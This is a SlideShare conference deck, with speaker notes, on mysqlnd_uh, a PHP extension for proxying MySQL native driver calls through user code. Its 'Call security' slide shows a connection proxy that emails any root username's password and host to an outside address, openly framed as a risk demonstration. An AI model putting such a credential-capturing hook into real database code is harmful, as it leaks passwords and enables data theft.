SlideShare a Scribd company logo
mysqlnd_uh

A wild and wacky mysql extension
Who Am I?

• Nathaniel McHugh
• Ibuildings Sheffield
• Zend Certified PHP Developer
• Oracle certified MySQL Developer
• Like writing extensions like databases
• Never do anything useful
What is mysqlnd?

• PHP Extension created by owners of MySQL for PHP to
  query MySQL databases

• It is not an alternative to the three MySQL extensions
  existing namely, mysql, mysqli and pdo_mysql

• Although it is a PHP extension it exports no new PHP
  functions
A diagram: all is now clear
Libmysql vs mysqlnd

• C Library                • PHP Extension
• GPL License              • PHP License
• Linked at compile time   • Included in PHP source
• Many Failing tests       • Fewer failing tests
                           • May perform better
                             around buffered queries
How do I get mysqlnd?
The libysql way
--with-mysql[=DIR] --with-mysqli[=DIR] --with-pdo-mysql[=DIR]

e.g. on ubuntu this will be /usr/bin looking for mysql_config


The mysqlnd way
--with-mysql=mysqlnd --with-mysqli=mysqlnd --with-pdo-
mysql=mysqlnd --with-mysql-sock[=DIR]
How do I get mysqlnd?
The libysql way
--with-mysql[=DIR] --with-mysqli[=DIR] --with-pdo-mysql[=DIR]

e.g. on ubuntu this will be /usr/bin looking for mysql_config


The mysqlnd way
--with-mysql=mysqlnd --with-mysqli=mysqlnd --with-pdo-
mysql=mysqlnd --with-mysql-sock[=DIR]
Plugin Architecture
• mysqlnd_statistics.c
• mysqlnd.c
• mysqlnd_result.c
• mysqlnd_result_meta.c
• mysqlnd_ps.c
• mysqlnd_net.c
• mysqlnd_wireprotocol.c
How to extend mysqlnd
    /* a place to store orginal function table */
struct st_mysqlnd_conn_methods org_methods;

void minit_register_hooks(TSRMLS_D) {
  /* active function table */
  struct st_mysqlnd_conn_methods * current_methods
    = mysqlnd_conn_get_methods();

    /* backup original function table */
    memcpy(&org_methods, current_methods,
      sizeof(struct st_mysqlnd_conn_methods);

    /* install new methods */
    current_methods->query = MYSQLND_METHOD(my_conn_class, query);
}

MYSQLND_METHOD(my_conn_class, query)(MYSQLND *conn,
  const char *query, unsigned int query_len TSRMLS_DC) {

    php_printf("my_conn_class::query(query = %s)n", query);

    query = "SELECT 'query rewritten' FROM DUAL";
    query_len = strlen(query);

    return org_methods.query(conn, query, query_len); /* return with call to parent */
}
Enter mysqlnd_uh
Real world(ish) use case
Amazon RDS does not give users the SUPER privilege
and so you cannot change the timezone globally

Answer: set the timezone for every connection
mysqlnd_uh to the rescue
<?php
class proxy extends MysqlndUhConnection {
 public function connect($res, $host, $user, $passwd, $db, $port, $sock
et, $mysql_flags) {
   $ret = parent::connect($res, $host, $user, $passwd, $db, $port, $soc
ket, $mysql_flags);
   $query = "SET time_zone = 'Europe/Moscow'";
   parent::query($res, $query);
   return $ret;
 }
}

mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("127.0.0.1", "root", "youllNeverGuess", "test");
$result = $mysqli->query("SELECT NOW()");
var_dump(mysqli_fetch_all($result));
Plugin Architecture
• mysqlnd_statistics.c
• mysqlnd.c            ✔
• mysqlnd_result.c       ✔
• mysqlnd_result_meta.c
• mysqlnd_ps.c          ✔
• mysqlnd_net.c
• mysqlnd_wireprotocol.c
Call security
<?php
class proxy extends MysqlndUhConnection {
 public function connect($res, $host, $user, $passwd, $db, $port, $so
cket, $mysql_flags) {
    if ('root' == $user) {
           mail('nat@fishtrap.co.uk',
                'Subject stolen root password',
                 "Hey root password on $host is ".
                 "'$passwd' lets steal their data");
    }
   $ret = parent::connect($res, $host, $user, $passwd, $db, $port, $s
ocket, $mysql_flags);
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
// ...
$mysqli = new mysqli("127.0.0.1", "root", "youllNeverGuess", "test");

                  mysqlnd_uh.enable = 1;
Another example
    <?php
class resultProxy extends MysqlndUhResult {

   private $_rows = array();
   
   public function __construct($rows) {
    $this->_rows = $rows;
  }

  public function fetchInto($res, &$rows, $flags, $extension) {
    if (!empty($this->_rows)) {
      $rows = $this->_rows;
      unset($this->_rows);
    } else {
      $rows = null;
    }
  }
}
class proxy extends MysqlndUhConnection {

  public function query($res, $query) {
    $query = "SELECT 'Hello' AS _msg FROM DUAL";
    return parent::query($res, $query);
  }
}

mysqlnd_uh_set_connection_proxy(new proxy());
mysqlnd_uh_set_result_proxy(new resultProxy(range('a', 'm')));
$mysqli = new mysqli("127.0.0.1", "root", "youllNeverGuess", "test");
var_dump($mysqli->query("Going to replace this")->fetch_all());
Questions I can answer?

More Related Content

What's hot (20)

PPTX
Rubyslava + PyVo #48
Jozef Képesi
 
PDF
Top Node.js Metrics to Watch
Sematext Group, Inc.
 
PPTX
Jk rubyslava 25
Jozef Képesi
 
PPTX
Database Schema as Code
Yoshiyuki Nakahara
 
PDF
Nodejs - A-quick-tour-v3
Felix Geisendörfer
 
PPTX
Drupal cambs ansible for drupal april 2015
Ryan Brown
 
PPTX
MongoDB's New Aggregation framework
Chris Westin
 
PDF
Nodejs - Should Ruby Developers Care?
Felix Geisendörfer
 
PDF
MySQL Guide for Beginners
Dainis Graveris
 
PDF
Nodejs a-practical-introduction-oredev
Felix Geisendörfer
 
KEY
MongoDB: How it Works
Mike Dirolf
 
PDF
Dirty - How simple is your database?
Felix Geisendörfer
 
ODP
Itb session v_memcached
Skills Matter
 
PPT
Node.js
Pravin Mishra
 
PPT
Triple Blitz Strike
Denis Zhdanov
 
PDF
Redis begins
DaeMyung Kang
 
PDF
High Performance Ruby: Evented vs. Threaded
Engine Yard
 
KEY
Node.js - As a networking tool
Felix Geisendörfer
 
PPTX
Shell Tips & Tricks
MongoDB
 
KEY
Node.js - A practical introduction (v2)
Felix Geisendörfer
 
Rubyslava + PyVo #48
Jozef Képesi
 
Top Node.js Metrics to Watch
Sematext Group, Inc.
 
Jk rubyslava 25
Jozef Képesi
 
Database Schema as Code
Yoshiyuki Nakahara
 
Nodejs - A-quick-tour-v3
Felix Geisendörfer
 
Drupal cambs ansible for drupal april 2015
Ryan Brown
 
MongoDB's New Aggregation framework
Chris Westin
 
Nodejs - Should Ruby Developers Care?
Felix Geisendörfer
 
MySQL Guide for Beginners
Dainis Graveris
 
Nodejs a-practical-introduction-oredev
Felix Geisendörfer
 
MongoDB: How it Works
Mike Dirolf
 
Dirty - How simple is your database?
Felix Geisendörfer
 
Itb session v_memcached
Skills Matter
 
Node.js
Pravin Mishra
 
Triple Blitz Strike
Denis Zhdanov
 
Redis begins
DaeMyung Kang
 
High Performance Ruby: Evented vs. Threaded
Engine Yard
 
Node.js - As a networking tool
Felix Geisendörfer
 
Shell Tips & Tricks
MongoDB
 
Node.js - A practical introduction (v2)
Felix Geisendörfer
 

Viewers also liked (20)

PDF
Mit2 092 f09_lec23
Rahman Hakim
 
PPTX
Twelve apostles
rochelle Enriquez
 
PPTX
50 states
carloszendejas
 
PPT
โรคขาดโปรตีน
Praexp
 
PDF
The Industrial Internet@Work
EMC
 
PPTX
Diapositivas
ladyfloresp
 
PDF
สังคม
jojowhisky
 
PPT
Information security
xrayjamie79
 
PDF
RSA Laboratories' Frequently Asked Questions About Today's Cryptography, Vers...
EMC
 
PPTX
Taller de circ a
Elena Alena Helen
 
PPTX
産後が起点となる社会問題とマドレボニータの紹介20150613
Maco Yoshioka
 
PPT
Presentation2michaelcollins
6thclassClareCastle
 
PPTX
Advertising wed
Travis Klein
 
ODP
Poema hivern
rosaria56
 
PPT
Thurs rus revolution
Travis Klein
 
PPT
Это Алексеевская детская школа искуств.
lexa0784
 
PPT
Chapter 1
Mierza Lyna
 
PDF
4 Ms of Big Data: Make Me More Money – Infographic
EMC
 
PPT
Euskal Herriko hiriburuak
iranjulienara
 
Mit2 092 f09_lec23
Rahman Hakim
 
Twelve apostles
rochelle Enriquez
 
50 states
carloszendejas
 
โรคขาดโปรตีน
Praexp
 
The Industrial Internet@Work
EMC
 
Diapositivas
ladyfloresp
 
สังคม
jojowhisky
 
Information security
xrayjamie79
 
RSA Laboratories' Frequently Asked Questions About Today's Cryptography, Vers...
EMC
 
Taller de circ a
Elena Alena Helen
 
産後が起点となる社会問題とマドレボニータの紹介20150613
Maco Yoshioka
 
Presentation2michaelcollins
6thclassClareCastle
 
Advertising wed
Travis Klein
 
Poema hivern
rosaria56
 
Thurs rus revolution
Travis Klein
 
Это Алексеевская детская школа искуств.
lexa0784
 
Chapter 1
Mierza Lyna
 
4 Ms of Big Data: Make Me More Money – Infographic
EMC
 
Euskal Herriko hiriburuak
iranjulienara
 
Ad

Similar to Mysqlnd uh (20)

PPTX
20141011 mastering mysqlnd
do_aki
 
PDF
MySQL PHP native driver : Advanced Functions / PHP forum Paris 2013
Serge Frezefond
 
PDF
My SQL 101
Dave Stokes
 
KEY
Intro to PECL/mysqlnd_ms (4/7/2011)
Chris Barber
 
PDF
Mysqlnd, an unknown powerful PHP extension
julien pauli
 
PDF
Ipc mysql php
Anis Berejeb
 
PDF
Php &amp; my sql - how do pdo, mysq-li, and x devapi do what they do
Dave Stokes
 
PDF
Environment for training models
FlyElephant
 
KEY
Scaling php applications with redis
jimbojsb
 
PDF
Puppet Camp Charlotte 2015: Exporting Resources: There and Back Again
Puppet
 
PDF
Dbdeployer, the universal installer
Giuseppe Maxia
 
PDF
Test complex database systems in your laptop with dbdeployer
Giuseppe Maxia
 
PPTX
Speed up R with parallel programming in the Cloud
Revolution Analytics
 
PPTX
Speeding up R with Parallel Programming in the Cloud
Revolution Analytics
 
PDF
Dbdeployer
Giuseppe Maxia
 
KEY
Intro to Drush
Carson Black
 
PDF
Postgres Vienna DB Meetup 2014
Michael Renner
 
PDF
Service discovery and configuration provisioning
Source Ministry
 
PPTX
Tips, Tricks & Best Practices for large scale HDInsight Deployments
Ashish Thapliyal
 
PDF
Automating Complex Setups with Puppet
Kris Buytaert
 
20141011 mastering mysqlnd
do_aki
 
MySQL PHP native driver : Advanced Functions / PHP forum Paris 2013
Serge Frezefond
 
My SQL 101
Dave Stokes
 
Intro to PECL/mysqlnd_ms (4/7/2011)
Chris Barber
 
Mysqlnd, an unknown powerful PHP extension
julien pauli
 
Ipc mysql php
Anis Berejeb
 
Php &amp; my sql - how do pdo, mysq-li, and x devapi do what they do
Dave Stokes
 
Environment for training models
FlyElephant
 
Scaling php applications with redis
jimbojsb
 
Puppet Camp Charlotte 2015: Exporting Resources: There and Back Again
Puppet
 
Dbdeployer, the universal installer
Giuseppe Maxia
 
Test complex database systems in your laptop with dbdeployer
Giuseppe Maxia
 
Speed up R with parallel programming in the Cloud
Revolution Analytics
 
Speeding up R with Parallel Programming in the Cloud
Revolution Analytics
 
Dbdeployer
Giuseppe Maxia
 
Intro to Drush
Carson Black
 
Postgres Vienna DB Meetup 2014
Michael Renner
 
Service discovery and configuration provisioning
Source Ministry
 
Tips, Tricks & Best Practices for large scale HDInsight Deployments
Ashish Thapliyal
 
Automating Complex Setups with Puppet
Kris Buytaert
 
Ad

Recently uploaded (20)

PDF
From Code to Challenge: Crafting Skill-Based Games That Engage and Reward
aiyshauae
 
PPTX
UiPath Academic Alliance Educator Panels: Session 2 - Business Analyst Content
DianaGray10
 
PDF
New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
PDF
Newgen Beyond Frankenstein_Build vs Buy_Digital_version.pdf
darshakparmar
 
PDF
Jak MŚP w Europie Środkowo-Wschodniej odnajdują się w świecie AI
dominikamizerska1
 
PDF
CIFDAQ Weekly Market Wrap for 11th July 2025
CIFDAQ
 
PDF
July Patch Tuesday
Ivanti
 
PDF
Blockchain Transactions Explained For Everyone
CIFDAQ
 
PDF
Complete JavaScript Notes: From Basics to Advanced Concepts.pdf
haydendavispro
 
PDF
NewMind AI - Journal 100 Insights After The 100th Issue
NewMind AI
 
PDF
Timothy Rottach - Ramp up on AI Use Cases, from Vector Search to AI Agents wi...
AWS Chicago
 
PDF
Python basic programing language for automation
DanialHabibi2
 
PPTX
From Sci-Fi to Reality: Exploring AI Evolution
Svetlana Meissner
 
PPTX
OpenID AuthZEN - Analyst Briefing July 2025
David Brossard
 
PDF
Newgen 2022-Forrester Newgen TEI_13 05 2022-The-Total-Economic-Impact-Newgen-...
darshakparmar
 
PPTX
WooCommerce Workshop: Bring Your Laptop
Laura Hartwig
 
PDF
Using FME to Develop Self-Service CAD Applications for a Major UK Police Force
Safe Software
 
PDF
Agentic AI lifecycle for Enterprise Hyper-Automation
Debmalya Biswas
 
PDF
[Newgen] NewgenONE Marvin Brochure 1.pdf
darshakparmar
 
PDF
HubSpot Main Hub: A Unified Growth Platform
Jaswinder Singh
 
From Code to Challenge: Crafting Skill-Based Games That Engage and Reward
aiyshauae
 
UiPath Academic Alliance Educator Panels: Session 2 - Business Analyst Content
DianaGray10
 
New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
Newgen Beyond Frankenstein_Build vs Buy_Digital_version.pdf
darshakparmar
 
Jak MŚP w Europie Środkowo-Wschodniej odnajdują się w świecie AI
dominikamizerska1
 
CIFDAQ Weekly Market Wrap for 11th July 2025
CIFDAQ
 
July Patch Tuesday
Ivanti
 
Blockchain Transactions Explained For Everyone
CIFDAQ
 
Complete JavaScript Notes: From Basics to Advanced Concepts.pdf
haydendavispro
 
NewMind AI - Journal 100 Insights After The 100th Issue
NewMind AI
 
Timothy Rottach - Ramp up on AI Use Cases, from Vector Search to AI Agents wi...
AWS Chicago
 
Python basic programing language for automation
DanialHabibi2
 
From Sci-Fi to Reality: Exploring AI Evolution
Svetlana Meissner
 
OpenID AuthZEN - Analyst Briefing July 2025
David Brossard
 
Newgen 2022-Forrester Newgen TEI_13 05 2022-The-Total-Economic-Impact-Newgen-...
darshakparmar
 
WooCommerce Workshop: Bring Your Laptop
Laura Hartwig
 
Using FME to Develop Self-Service CAD Applications for a Major UK Police Force
Safe Software
 
Agentic AI lifecycle for Enterprise Hyper-Automation
Debmalya Biswas
 
[Newgen] NewgenONE Marvin Brochure 1.pdf
darshakparmar
 
HubSpot Main Hub: A Unified Growth Platform
Jaswinder Singh
 

Mysqlnd uh

Editor's Notes

  • #2: \n
  • #3: like useless things and to a certain extent this is one of them\n
  • #4: Appologies if you know this stuff already but I was quite supprised when my colleague didn&amp;#x2019;t think it&amp;#x2019;s people switch of when hear dbs\n
  • #5: \n
  • #6: \n
  • #7: recompile\nimportant to tell mysqlnd where your mysql server socket is as your now the client\nonce you have done that \n
  • #8: another advantage mysqlnd is plugin architecture\n7 modules\n
  • #9: lifted example from php.net documentation about writing mysqnd plugin as PHP extension\nto use get the mysqlnd function table back it up replace the function table with a custom one \nwith your own function and in that calling the original method\nlot of boiler plate stuff to build a PHP extension\n
  • #10: on Pickle\nunstable there is a release which is missing some of the stuff we&amp;#x2019;re going to look at\n
  • #11: \n
  • #12: key concepts \nproxy extends connection\nset connection proxy\ndemo\n
  • #13: mysqlnd_uh extension is to allow you to use PHP to quickly do similar things\ngoing back to this slide at the moment this is the state of mysqlnd_uh \n\n
  • #14: demo\n
  • #15: showing example of result proxy\nresult functions undocumented\ndemo\ncurrent trunk unstable ask me if you want to use it\n
  • #16: \n